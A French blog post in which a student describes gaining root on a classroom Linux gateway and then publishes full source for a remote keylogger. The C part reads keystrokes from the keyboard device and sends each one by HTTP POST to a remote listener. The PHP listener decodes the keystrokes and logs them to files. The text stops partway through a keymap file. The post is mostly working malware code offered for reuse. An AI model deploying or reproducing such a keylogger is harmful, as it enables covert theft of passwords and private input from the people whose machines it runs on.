Cette année j’ai eu droit à des cours en administration des serveurs web (apache) et en sécurité. Notre prof très sympathique, nous a suggéré d’essayer de pirater la passerelle de notre salle de cours, c’est une machine sous Debian sur laquelle tourne certains services (Squid proxy, iptables, …).
Je me suis donc attaqué à cette machine avec l’aide de 3 camarades, nous avons ainsi réussi à ajouter un utilisateur ayant les droits root sur la machine, j’ai eu par la suite l’idée d’infecter la machine avec un keylogger mais n’ayant pas trouvé de bons keylogger pour Linux sur le net, je me suis décidé à coder mon propre petit keylogger.
Mon objectif était de concevoir un petit programme capable de récupérer les touches saisies au clavier (sur n’importe quelle console tty) et d’envoyer les captures sur un serveur distant.
Voici donc le code source de mon application :
1) Code du keylogger :
Le keylogger récupère les codes correspondants aux touches pressés par l’utilisateur puis les transmet à la volée à un serveur distant via le protocole HTTP, il exploite pour cela la librairie Curl.
- Fichier d’en-tête net.h :
|
1 2 3 4 5 6 7 8 9 10 11 12 |
<span style="color: #9999a9;">//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//</span> <span style="color: #9999a9;">// Remote Linux Keylogger //</span> <span style="color: #9999a9;">// Author : Nassim Kacha </span><span style="color: #00c4c4;"><</span><span style="color: #a160f4;">nassim.kacha@gmail.com</span><span style="color: #00c4c4;">></span><span style="color: #9999a9;"> //</span> <span style="color: #9999a9;">// License : GPLv2 //</span> <span style="color: #9999a9;">//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//</span> <span style="color: #008073;">#</span><span style="color: #008073;">ifndef</span><span style="color: #008073;"> __NET_H</span> <span style="color: #008073;">#</span><span style="color: #008073;">define</span><span style="color: #008073;"> __NET_H</span> <span style="color: #e66170; font-weight: bold;">int</span> sendData<span style="color: #d2cd86;">(</span><span style="color: #e66170; font-weight: bold;">char</span> <span style="color: #d2cd86;">*</span>url<span style="color: #d2cd86;">,</span> <span style="color: #e66170; font-weight: bold;">int</span> code<span style="color: #d2cd86;">,</span> <span style="color: #e66170; font-weight: bold;">int</span> value<span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span> <span style="color: #008073;">#</span><span style="color: #008073;">endif</span> |
- Fichier net.c :
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
<span style="color: #9999a9;">//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//</span> <span style="color: #9999a9;">// Remote Linux Keylogger //</span> <span style="color: #9999a9;">// Author : Nassim Kacha </span><span style="color: #00c4c4;"><</span><span style="color: #a160f4;">nassim.kacha@gmail.com</span><span style="color: #00c4c4;">></span><span style="color: #9999a9;"> //</span> <span style="color: #9999a9;">// License : GPLv2 //</span> <span style="color: #9999a9;">//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//</span> <span style="color: #008073;">#</span><span style="color: #008073;">include </span><span style="color: #02d045;"><</span><span style="color: #40015a;">stdio.h</span><span style="color: #02d045;">></span> <span style="color: #008073;">#</span><span style="color: #008073;">include </span><span style="color: #02d045;"><</span><span style="color: #40015a;">curl/curl.h</span><span style="color: #02d045;">></span> <span style="color: #e66170; font-weight: bold;">int</span> sendData<span style="color: #d2cd86;">(</span><span style="color: #e66170; font-weight: bold;">char</span> <span style="color: #d2cd86;">*</span>url<span style="color: #d2cd86;">,</span> <span style="color: #e66170; font-weight: bold;">int</span> code<span style="color: #d2cd86;">,</span> <span style="color: #e66170; font-weight: bold;">int</span> value<span style="color: #d2cd86;">)</span> <span style="color: #b060b0;">{</span> CURL <span style="color: #d2cd86;">*</span>curl<span style="color: #b060b0;">;</span> CURLcode res<span style="color: #b060b0;">;</span> <span style="color: #e66170; font-weight: bold;">char</span> data<span style="color: #d2cd86;">[</span><span style="color: #008c00;">11</span><span style="color: #d2cd86;">]</span><span style="color: #b060b0;">;</span> <span style="color: #9999a9;">// data=int:int</span> sprintf<span style="color: #d2cd86;">(</span>data<span style="color: #d2cd86;">,</span> <span style="color: #02d045;">"</span><span style="color: #00c4c4;">data=</span><span style="color: #008080;">%i</span><span style="color: #00c4c4;">:</span><span style="color: #008080;">%i</span><span style="color: #02d045;">"</span><span style="color: #d2cd86;">,</span> code<span style="color: #d2cd86;">,</span> value<span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span> curl <span style="color: #d2cd86;">=</span> curl_easy_init<span style="color: #d2cd86;">(</span><span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span> <span style="color: #e66170; font-weight: bold;">if</span><span style="color: #d2cd86;">(</span>curl<span style="color: #d2cd86;">)</span> <span style="color: #b060b0;">{</span> curl_easy_setopt<span style="color: #d2cd86;">(</span>curl<span style="color: #d2cd86;">,</span> CURLOPT_URL<span style="color: #d2cd86;">,</span> url<span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span> curl_easy_setopt<span style="color: #d2cd86;">(</span>curl<span style="color: #d2cd86;">,</span> CURLOPT_POSTFIELDS<span style="color: #d2cd86;">,</span> data<span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span> res <span style="color: #d2cd86;">=</span> curl_easy_perform<span style="color: #d2cd86;">(</span>curl<span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span> curl_easy_cleanup<span style="color: #d2cd86;">(</span>curl<span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span> <span style="color: #b060b0;">}</span> <span style="color: #e66170; font-weight: bold;">return</span> res<span style="color: #b060b0;">;</span> <span style="color: #b060b0;">}</span> |
- Fichier principal keylogger.c :
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
<span style="color: #9999a9;">//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//</span> <span style="color: #9999a9;">// Remote Linux Keylogger //</span> <span style="color: #9999a9;">// Author : Nassim Kacha </span><span style="color: #00c4c4;"><</span><span style="color: #a160f4;">nassim.kacha@gmail.com</span><span style="color: #00c4c4;">></span><span style="color: #9999a9;"> //</span> <span style="color: #9999a9;">// License : GPLv2 //</span> <span style="color: #9999a9;">//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//</span> <span style="color: #008073;">#</span><span style="color: #008073;">include </span><span style="color: #02d045;"><</span><span style="color: #40015a;">linux/input.h</span><span style="color: #02d045;">></span> <span style="color: #008073;">#</span><span style="color: #008073;">include </span><span style="color: #02d045;"><</span><span style="color: #40015a;">sys/types.h</span><span style="color: #02d045;">></span> <span style="color: #008073;">#</span><span style="color: #008073;">include </span><span style="color: #02d045;"><</span><span style="color: #40015a;">sys/stat.h</span><span style="color: #02d045;">></span> <span style="color: #008073;">#</span><span style="color: #008073;">include </span><span style="color: #02d045;"><</span><span style="color: #40015a;">fcntl.h</span><span style="color: #02d045;">></span> <span style="color: #008073;">#</span><span style="color: #008073;">include </span><span style="color: #02d045;"><</span><span style="color: #40015a;">stdio.h</span><span style="color: #02d045;">></span> <span style="color: #008073;">#</span><span style="color: #008073;">include </span><span style="color: #02d045;"><</span><span style="color: #40015a;">unistd.h</span><span style="color: #02d045;">></span> <span style="color: #008073;">#</span><span style="color: #008073;">include </span><span style="color: #02d045;">"</span><span style="color: #40015a;">net.h</span><span style="color: #02d045;">"</span> <span style="color: #9999a9;">// Adresse du serveur distant à personnaliser</span> <span style="color: #e66170; font-weight: bold;">char</span> server<span style="color: #d2cd86;">[</span><span style="color: #d2cd86;">]</span> <span style="color: #d2cd86;">=</span> <span style="color: #02d045;">"</span><span style="color: #00c4c4;">http://votre_serveur/listener.php</span><span style="color: #02d045;">"</span><span style="color: #b060b0;">;</span> <span style="color: #9999a9;">// Périphérique clavier, à modifier si besoin</span> <span style="color: #e66170; font-weight: bold;">char</span> input<span style="color: #d2cd86;">[</span><span style="color: #d2cd86;">]</span> <span style="color: #d2cd86;">=</span> <span style="color: #02d045;">"</span><span style="color: #00c4c4;">/dev/input/by-path/platform-i8042-serio-0-event-kbd</span><span style="color: #02d045;">"</span><span style="color: #b060b0;">;</span> <span style="color: #e66170; font-weight: bold;">int</span> <span style="color: #e66170; font-weight: bold;">main</span><span style="color: #d2cd86;">(</span><span style="color: #e66170; font-weight: bold;">void</span><span style="color: #d2cd86;">)</span> <span style="color: #b060b0;">{</span> <span style="color: #e66170; font-weight: bold;">int</span> fd<span style="color: #b060b0;">;</span> <span style="color: #e66170; font-weight: bold;">struct</span> input_event ev<span style="color: #b060b0;">;</span> fd <span style="color: #d2cd86;">=</span> open<span style="color: #d2cd86;">(</span>input<span style="color: #d2cd86;">,</span> O_RDONLY<span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span> <span style="color: #e66170; font-weight: bold;">if</span><span style="color: #d2cd86;">(</span>fd <span style="color: #d2cd86;">=</span><span style="color: #d2cd86;">=</span> <span style="color: #d2cd86;">-</span><span style="color: #008c00;">1</span><span style="color: #d2cd86;">)</span> <span style="color: #b060b0;">{</span> printf<span style="color: #d2cd86;">(</span><span style="color: #02d045;">"</span><span style="color: #00c4c4;">Can not open the input device, you forget to use sudo ?!</span><span style="color: #008080;">n</span><span style="color: #02d045;">"</span><span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span> <span style="color: #e66170; font-weight: bold;">return</span> <span style="color: #008c00;">1</span><span style="color: #b060b0;">;</span> <span style="color: #b060b0;">}</span> <span style="color: #e66170; font-weight: bold;">else</span> <span style="color: #b060b0;">{</span> <span style="color: #e66170; font-weight: bold;">while</span> <span style="color: #d2cd86;">(</span><span style="color: #008c00;">1</span><span style="color: #d2cd86;">)</span> <span style="color: #b060b0;">{</span> read<span style="color: #d2cd86;">(</span>fd<span style="color: #d2cd86;">,</span> <span style="color: #d2cd86;">&</span>ev<span style="color: #d2cd86;">,</span> <span style="color: #e66170; font-weight: bold;">sizeof</span><span style="color: #d2cd86;">(</span><span style="color: #e66170; font-weight: bold;">struct</span> input_event<span style="color: #d2cd86;">)</span><span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span> <span style="color: #e66170; font-weight: bold;">if</span><span style="color: #d2cd86;">(</span>ev<span style="color: #d2cd86;">.</span>type <span style="color: #d2cd86;">=</span><span style="color: #d2cd86;">=</span> <span style="color: #008c00;">1</span> <span style="color: #d2cd86;">&</span><span style="color: #d2cd86;">&</span> ev<span style="color: #d2cd86;">.</span>value <span style="color: #d2cd86;">!</span><span style="color: #d2cd86;">=</span> <span style="color: #008c00;">2</span><span style="color: #d2cd86;">)</span> <span style="color: #b060b0;">{</span> sendData<span style="color: #d2cd86;">(</span>server<span style="color: #d2cd86;">,</span> ev<span style="color: #d2cd86;">.</span>code<span style="color: #d2cd86;">,</span> ev<span style="color: #d2cd86;">.</span>value<span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span> <span style="color: #b060b0;">}</span> <span style="color: #b060b0;">}</span> <span style="color: #b060b0;">}</span> <span style="color: #e66170; font-weight: bold;">return</span> <span style="color: #008c00;">0</span><span style="color: #b060b0;">;</span> <span style="color: #b060b0;">}</span> |
2) Code de l’application serveur :
L’application serveur récupère les codes des touches envoyés par le keylogger, les traduit sous une forme lisible puis les enregistre dans un fichier texte placé dans un sous répertoire nommé “data” qu’il faudra préalablement créer sur le serveur . Un système de balises est utilisé pour décrire l’utilisation de certaines touches comme la touche SHIFT par exemple.
- Source du fichier listener.php :
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
<span style="color: #ff8906; background: #281800;"><?php</span> <span style="color: #9999a9; background: #281800;">//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//</span> <span style="color: #9999a9; background: #281800;">// Remote Linux Keylogger //</span> <span style="color: #9999a9; background: #281800;">// Author : Nassim Kacha </span><span style="color: #00c4c4; background: #281800;"><</span><span style="color: #a160f4; background: #281800;">nassim.kacha@gmail.com</span><span style="color: #00c4c4; background: #281800;">></span><span style="color: #9999a9; background: #281800;"> //</span> <span style="color: #9999a9; background: #281800;">// License : GPLv2 //</span> <span style="color: #9999a9; background: #281800;">//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//</span> <span style="color: #ffffff; background: #281800;"> </span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #9999a9; background: #281800;">/* Keymap to translate key's code */</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #e66170; background: #281800; font-weight: bold;">require_once</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #00c4c4; background: #281800;">'keymap_fr.php'</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #b060b0; background: #281800;">;</span> <span style="color: #ffffff; background: #281800;"> </span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #9999a9; background: #281800;">/* Time zone */</span> <span style="color: #ffffff; background: #281800;"> date_default_timezone_set</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #00c4c4; background: #281800;">'Europe/Paris'</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #b060b0; background: #281800;">;</span> <span style="color: #ffffff; background: #281800;"> </span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #9999a9; background: #281800;">/* Variables */</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #ffffff; background: #281800;">$filename</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">'data-'</span><span style="color: #d2cd86; background: #281800;">.</span><span style="color: #e66170; background: #281800; font-weight: bold;">date</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #00c4c4; background: #281800;">"Ymd"</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #d2cd86; background: #281800;">.</span><span style="color: #00c4c4; background: #281800;">'.txt'</span><span style="color: #b060b0; background: #281800;">;</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #9999a9; background: #281800;">// data-YYYYMMDD.txt</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #ffffff; background: #281800;">$filedir</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">'data/'</span><span style="color: #b060b0; background: #281800;">;</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #9999a9; background: #281800;">// whith a slash at the end</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #ffffff; background: #281800;">$path</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #ffffff; background: #281800;">$filedir</span><span style="color: #d2cd86; background: #281800;">.</span><span style="color: #ffffff; background: #281800;">$filename</span><span style="color: #b060b0; background: #281800;">;</span> <span style="color: #ffffff; background: #281800;"> </span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #e66170; background: #281800; font-weight: bold;">if</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #e66170; background: #281800; font-weight: bold;">isset</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #ffffff; background: #281800;">$_POST</span><span style="color: #d2cd86; background: #281800;">[</span><span style="color: #00c4c4; background: #281800;">'data'</span><span style="color: #d2cd86; background: #281800;">]</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #b060b0; background: #281800;">{</span> <span style="color: #ffffff; background: #281800;"> </span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #ffffff; background: #281800;">$data</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #904050; background: #281800;">split</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #00c4c4; background: #281800;">':'</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">,</span><span style="color: #ffffff; background: #281800;">$_POST</span><span style="color: #d2cd86; background: #281800;">[</span><span style="color: #00c4c4; background: #281800;">'data'</span><span style="color: #d2cd86; background: #281800;">]</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #b060b0; background: #281800;">;</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #9999a9; background: #281800;">// $data[0] = key code, data[1] = key status</span> <span style="color: #ffffff; background: #281800;"> </span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #e66170; background: #281800; font-weight: bold;">if</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #ffffff; background: #281800;">$key</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #ffffff; background: #281800;">$keys</span><span style="color: #d2cd86; background: #281800;">[</span><span style="color: #ffffff; background: #281800;">$data</span><span style="color: #d2cd86; background: #281800;">[</span><span style="color: #008c00; background: #281800;">0</span><span style="color: #d2cd86; background: #281800;">]</span><span style="color: #d2cd86; background: #281800;">]</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #b060b0; background: #281800;">{</span> <span style="color: #ffffff; background: #281800;"> </span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #e66170; background: #281800; font-weight: bold;">if</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #ffffff; background: #281800;">$key</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">'<SHIFT>'</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #b060b0; background: #281800;">{</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #e66170; background: #281800; font-weight: bold;">if</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #ffffff; background: #281800;">$data</span><span style="color: #d2cd86; background: #281800;">[</span><span style="color: #008c00; background: #281800;">1</span><span style="color: #d2cd86; background: #281800;">]</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">'0'</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #b060b0; background: #281800;">{</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #ffffff; background: #281800;">$key</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">'</SHIFT>'</span><span style="color: #b060b0; background: #281800;">;</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #b060b0; background: #281800;">}</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #ffffff; background: #281800;">$file</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #e66170; background: #281800; font-weight: bold;">fopen</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #ffffff; background: #281800;">$path</span><span style="color: #d2cd86; background: #281800;">,</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"a+"</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #b060b0; background: #281800;">;</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #e66170; background: #281800; font-weight: bold;">fwrite</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #ffffff; background: #281800;">$file</span><span style="color: #d2cd86; background: #281800;">,</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #ffffff; background: #281800;">$key</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #b060b0; background: #281800;">;</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #e66170; background: #281800; font-weight: bold;">fclose</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #ffffff; background: #281800;">$file</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #b060b0; background: #281800;">;</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #b060b0; background: #281800;">}</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #e66170; background: #281800; font-weight: bold;">elseif</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #ffffff; background: #281800;">$data</span><span style="color: #d2cd86; background: #281800;">[</span><span style="color: #008c00; background: #281800;">1</span><span style="color: #d2cd86; background: #281800;">]</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">'1'</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #b060b0; background: #281800;">{</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #ffffff; background: #281800;">$file</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #e66170; background: #281800; font-weight: bold;">fopen</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #ffffff; background: #281800;">$path</span><span style="color: #d2cd86; background: #281800;">,</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"a+"</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #b060b0; background: #281800;">;</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #e66170; background: #281800; font-weight: bold;">fwrite</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #ffffff; background: #281800;">$file</span><span style="color: #d2cd86; background: #281800;">,</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #ffffff; background: #281800;">$key</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #b060b0; background: #281800;">;</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #e66170; background: #281800; font-weight: bold;">fclose</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #ffffff; background: #281800;">$file</span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #b060b0; background: #281800;">;</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #b060b0; background: #281800;">}</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #b060b0; background: #281800;">}</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #b060b0; background: #281800;">}</span> <span style="color: #ff8906; background: #281800;">?></span> |
- Source du fichier keymap_fr.php :
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 |
<span style="color: #ff8906; background: #281800;"><?php</span> <span style="color: #9999a9; background: #281800;">//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//</span> <span style="color: #9999a9; background: #281800;">// Remote Linux Keylogger //</span> <span style="color: #9999a9; background: #281800;">// Author : Nassim Kacha </span><span style="color: #00c4c4; background: #281800;"><</span><span style="color: #a160f4; background: #281800;">nassim.kacha@gmail.com</span><span style="color: #00c4c4; background: #281800;">></span><span style="color: #9999a9; background: #281800;"> //</span> <span style="color: #9999a9; background: #281800;">// License : GPLv2 //</span> <span style="color: #9999a9; background: #281800;">//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #ffffff; background: #281800;">$keys</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #e66170; background: #281800; font-weight: bold;">array</span><span style="color: #d2cd86; background: #281800;">(</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">1</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<ESC>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">2</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"&"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">3</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"é"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">4</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"</span><span style="color: #008080; background: #281800;">"</span><span style="color: #00c4c4; background: #281800;">"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">5</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"'"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">6</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"("</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">7</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"-"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">8</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"è"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">9</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"_"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">10</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"ç"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">11</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"à"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">12</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">")"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">13</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"="</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">14</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: 